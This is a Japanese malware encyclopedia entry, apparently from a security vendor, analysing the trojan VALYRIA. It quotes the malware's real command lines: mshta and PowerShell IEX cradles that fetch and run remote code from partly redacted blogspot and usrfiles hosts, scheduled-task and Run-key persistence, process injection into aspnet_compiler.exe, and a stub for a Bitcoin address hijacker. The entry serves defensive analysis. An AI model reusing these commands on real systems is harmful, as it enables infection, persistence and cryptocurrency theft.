• Email
• Facebook
• Twitter
• Google+
• Linkedin

Trojan.P97M.VALYRIA.YXBED

---

• マルウェアタイプ: トロイの木馬型
• 破壊活動の有無: なし
• 暗号化: なし
• 感染報告の有無: はい

---

  概要

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、特定のWebサイトからファイルをダウンロードし、ファイル名を変更した後、感染コンピュータ内に保存します。

---

  詳細

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• mshta http://www.j.mp/{redirection to specific resource}
• "%System%\WindowsPowerShell\v1.0\powershell.exe" $www='https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt ';$sss= {Obfuscated Code};$bbb={Obfuscated Code};$hbar=I`E`X ($sss,$aaa,$bbb-Join '')|I`E`X;
• "%System%\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://{BLOCKED}1230948@getyournewblog.blogspot.com/p /{number}.html""\"", 0 : window.close"\")
• "%System%\taskkill.exe" /f /im Excel.exe
• "%System%\taskkill.exe" /f /im winword.exe
• "%System%\WScript.exe" "%Public%\kuchb.vbs"

マルウェアは、以下のプロセスにコードを組み込みます。

• %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

(註：%Windows%フォルダは、Windowsが利用するフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows" です。.)

自動実行方法

マルウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
DLESOLCRETSAM = mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKEY_CURRENT_USER:\Software).MSOFFICELO)|IEX"", 0 : window.close")

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
dkkkksakdosexography = "mshta""http://{BLOCKED}1230948@newblogset1{number}.blogspot.com/p/{number}.html "

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(Default) = "mshta""http://{BLOCKED}1230948@firstblognew123.blogspot.com/p/{number}.html "

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
nunukhaoo = "mshta""http://{BLOCKED}1230948@papagunnakjdnmwdnwmndwm.blogspot.com/p/{number}.html "

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
replcia = mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKEY_CURRENT_USER:\Software).nasdnasndnad)|IEX"", 0 : window.close") → spawns and injects code to %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

他のシステム変更

マルウェアは、インストールの過程で、以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software
MSOFFICELO = $mixol='akunamahtahaEX'.replace('akunamahtaha','I');sal M $mixol;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$ijijinjnini='{Obfuscated code that injects to spawned aspnet_compiler.exe }'.replace('**^**','%@$!@#%!@$^^@$!@#!@#').replace('%@$!@#%!@$^^@$!@#!@#','%');$asciiChars =$ijijinjnini.ToCharArray();[Array]::Reverse($asciiChars);$tu=-join $asciiChars;$jm=$tu.Split('%') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''| M

HKEY_CURRENT_USER\Software
nasdnasndnad = $cici=@({Obfuscated PowerShell code that performs Bitcoin address hijacking});[System.Text.Encoding]::ASCII.GetString($cici)|IEX

ダウンロード活動

マルウェアは、以下のWebサイトからファイルをダウンロードし、ファイル名を変更した後、感染コンピュータ内に保存します。

• Short URLs of initial connection:
  • http://www.j.mp/{redirection to specific resource}
  • http://bit.ly/{redirection to specific resource}
    • redirects to:
      • https://{BLOCKED}.blogspot.com/p/{number}.html → remotely executes VB script which establishes scheduled task and autorun key for persistence, sets the specified values in HKEY_CURRENT_USER\Software, and terminates specific MS Office applications
• https://{BLOCKED}.us.archive.org/31/items/img-2-exe/DANIAL.txt → injects code to spawned %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
• https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt → connects to the following URLs which downloads files and executes kuchb.vbs
  • https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_c28bcff4b4ac4d648a44cba2612ce3a6.txt → clone.vbs
  • https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_d6327f9589c84101ad8724c9d6eaea23.txt → kuchb.vbs
  • https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_8c96b0913b2d43038ded2f06e3ee527b.txt → batman.bat

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %Public%\batman.bat → starts clone.vbs
• %Public%\kuchb.vbs → persistence for batman.bat
• %Public%\clone.vbs → disables security in infected machine

(註：%Public%フォルダは、すべてのユーザ共通のファイルまたはフォルダのリポジトリとして機能するフォルダです。Windows Vista、7、8の場合、通常 "C:\Users\Public" です。)

---

  対応方法

ご利用はいかがでしたか？　アンケートにご協力ください